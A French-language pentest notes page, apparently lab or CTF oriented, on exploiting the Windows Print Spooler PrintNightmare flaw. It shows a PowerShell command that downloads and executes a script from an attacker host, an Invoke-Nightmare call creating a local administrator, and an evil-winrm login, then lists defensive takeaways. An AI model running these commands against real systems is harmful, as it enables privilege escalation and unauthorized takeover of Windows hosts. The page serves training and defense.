> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# Spouleur d’impression - PrintNightmare

`spoolsv.exe` est le service de spouleur d’impression Windows. Lorsqu’une cible est vulnérable, une exploitation de type PrintNightmare peut permettre une élévation de privilèges locale ou distante selon la version de Windows, le niveau de correctif et l’exposition du service.

## Détection

Corrélez un service Spouleur d’impression actif ou exposé avec la version exacte de Windows et les correctifs installés.

<figure><img src="/files/95df867447518f1208360053a932163be411f63e" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## Exploitation en labo

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/362ce0cf20839237eb4169fc11f37a367f077341" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

Chargez le script :

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

Créez un utilisateur administrateur local dans le labo :

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/d7244f2ce989030a8166eb11915070f8fdcb9b03" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/617d0fa9d4375e5c8c517ff482622a4c37591750" alt="New administrative user validation"><figcaption></figcaption></figure>

## Connexion

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/22f57770de90878683c3cc3cf2223fc37ab1b176" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## Points clés

* Confirmez la vulnérabilité par la validation de la version et des correctifs.
* Désactivez le spouleur d’impression lorsqu’il n’est pas nécessaire, en particulier sur les serveurs sensibles.
* Surveillez la création soudaine de comptes d’administrateur local et les opérations suspectes de pilotes d’imprimante.


---

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